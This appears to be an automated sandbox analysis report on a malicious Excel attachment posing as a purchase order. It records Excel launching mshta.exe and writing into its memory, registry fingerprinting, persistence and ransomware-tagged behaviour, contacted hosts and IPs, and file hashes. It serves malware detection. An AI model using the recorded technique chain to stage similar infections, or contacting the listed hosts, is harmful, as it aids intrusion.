"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\PO-000041492.xls"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\System32\mshta.exe C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3964 wrote to memory of 3888 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\System32\mshta.exe
PID 3964 wrote to memory of 3888 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\System32\mshta.exe

Uses Task Scheduler COM API

persistence

Uses Volume Shadow Copy WMI provider

ransomware

Uses Volume Shadow Copy service COM API

ransomware

Processes

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\PO-000041492.xls"

C:\Windows\System32\mshta.exe

C:\Windows\System32\mshta.exe -Embedding

Network

Country Destination Domain Proto
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 roaming.officeapps.live.com udp
FR 52.109.68.129:443 roaming.officeapps.live.com tcp
US 8.8.8.8:53 240.76.109.52.in-addr.arpa udp
US 8.8.8.8:53 129.68.109.52.in-addr.arpa udp
US 8.8.8.8:53 link.uebie.de udp
DE 5.45.108.48:443 link.uebie.de tcp
US 8.8.8.8:53 e6.o.lencr.org udp
GB 88.221.135.115:80 e6.o.lencr.org tcp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 48.108.45.5.in-addr.arpa udp
US 8.8.8.8:53 168.245.100.95.in-addr.arpa udp
US 66.63.187.231:80 66.63.187.231 tcp
US 8.8.8.8:53 115.135.221.88.in-addr.arpa udp
US 8.8.8.8:53 2.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 231.187.63.66.in-addr.arpa udp
US 8.8.8.8:53 67.112.168.52.in-addr.arpa udp
US 8.8.8.8:53 154.239.44.20.in-addr.arpa udp
US 8.8.8.8:53 197.87.175.4.in-addr.arpa udp
US 8.8.8.8:53 241.42.69.40.in-addr.arpa udp
US 8.8.8.8:53 133.130.81.91.in-addr.arpa udp
US 8.8.8.8:53 14.227.111.52.in-addr.arpa udp

Files

memory/3964-0-0x00007FFDA384D000-0x00007FFDA384E000-memory.dmp

memory/3964-1-0x00007FFD63830000-0x00007FFD63840000-memory.dmp

memory/3964-4-0x00007FFDA37B0000-0x00007FFDA39A5000-memory.dmp

memory/3964-5-0x00007FFDA37B0000-0x00007FFDA39A5000-memory.dmp

memory/3964-6-0x00007FFD63830000-0x00007FFD63840000-memory.dmp

memory/3964-3-0x00007FFD63830000-0x00007FFD63840000-memory.dmp

memory/3964-7-0x00007FFDA37B0000-0x00007FFDA39A5000-memory.dmp

memory/3964-8-0x00007FFD63830000-0x00007FFD63840000-memory.dmp

memory/3964-9-0x00007FFDA37B0000-0x00007FFDA39A5000-memory.dmp

memory/3964-2-0x00007FFD63830000-0x00007FFD63840000-memory.dmp

memory/3964-12-0x00007FFDA37B0000-0x00007FFDA39A5000-memory.dmp

memory/3964-11-0x00007FFDA37B0000-0x00007FFDA39A5000-memory.dmp

memory/3964-13-0x00007FFD60F20000-0x00007FFD60F30000-memory.dmp

memory/3964-10-0x00007FFDA37B0000-0x00007FFDA39A5000-memory.dmp

memory/3964-14-0x00007FFD60F20000-0x00007FFD60F30000-memory.dmp

memory/3888-34-0x00007FFDA37B0000-0x00007FFDA39A5000-memory.dmp

memory/3888-37-0x00007FFDA37B0000-0x00007FFDA39A5000-memory.dmp

memory/3964-39-0x00007FFDA384D000-0x00007FFDA384E000-memory.dmp

memory/3964-40-0x00007FFDA37B0000-0x00007FFDA39A5000-memory.dmp

memory/3964-41-0x00007FFDA37B0000-0x00007FFDA39A5000-memory.dmp

memory/3888-45-0x00007FFDA37B0000-0x00007FFDA39A5000-memory.dmp

memory/3888-46-0x00007FF61A8F0000-0x00007FF61A8F8000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

MD5 f917523c655cb2da375dc863beb2e439
SHA1 ee216f3f4c91065eaba9a87b1423743f87949e97
SHA256 7d2fab111c19abf62ec6cd3bea1fec1d32869aff87c445d56ac858e8f8df5a50
SHA512 b8d1ab44dbe4883b4c9e9b3086f37b575550f9ca43c9c92306f577467f60276754d4a403138e3650f3bc5277af253be0f8a35812c70a09306e657310c8790460